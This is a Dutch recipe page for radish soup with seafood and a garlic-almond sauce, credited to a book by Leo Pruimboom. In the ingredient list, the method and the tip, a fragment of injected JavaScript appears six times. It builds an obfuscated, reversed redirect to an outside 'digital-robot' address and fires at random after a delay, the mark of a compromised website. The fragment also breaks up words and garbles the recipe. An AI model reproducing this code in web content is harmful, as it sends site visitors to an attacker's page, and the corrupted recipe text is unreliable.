//Rettichsoep met zeevruchten

Rettichsoep met zeevruchten

2020-04-16T12:09:11+01:00 16 april 2020|

Uit het boek Word weer Mens van Dr. Leo Pruimboom

Ingrediënten: 

  • 250 gr zeevruchten (garnalen, krabben, mosselen …)
  • 1 kleine rettich
  • 2 middelgrote uien
  • 4 wortelen
  • 750 ml visfond van Biofond Ecoplaza

Ingrediënten knoflooksaus

  • 4 teentjes knoflook
  • 50 gr amandelen
  • 1 tl paprikapoeder
  • 1 grote tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomaat
  • 1/2 bosje peterselie
  • olijfolie
  • zout, peper

Bereiding:

  • Knoflooksaus: Pureer de knoflook, amandelen, paprikapoeder, tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomaat en peterselie met olijfolie.
  • Rettichsoep: Hak de rettich, uien en wortelen grof en bak enkelminuten (zonder fond en olie) op laag vuur. Blus af met visfond. Kook de ingrediënten tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tot ze zacht zijn en pureer vervolgens tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tot een romige massa. Voeg de zeevruchten tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toe en laat enkele minuten op een laag vuur koken.
  • Voeg de knoflooksaus aan de soep tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toe en breng op smaak met peper en zout.
  • Serveer de soep met zeevruchten op een bord.

Tip: het smaakgeheim van de soep zit hem in het apart pureren en pas aan het eind tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toevoegen van de saus.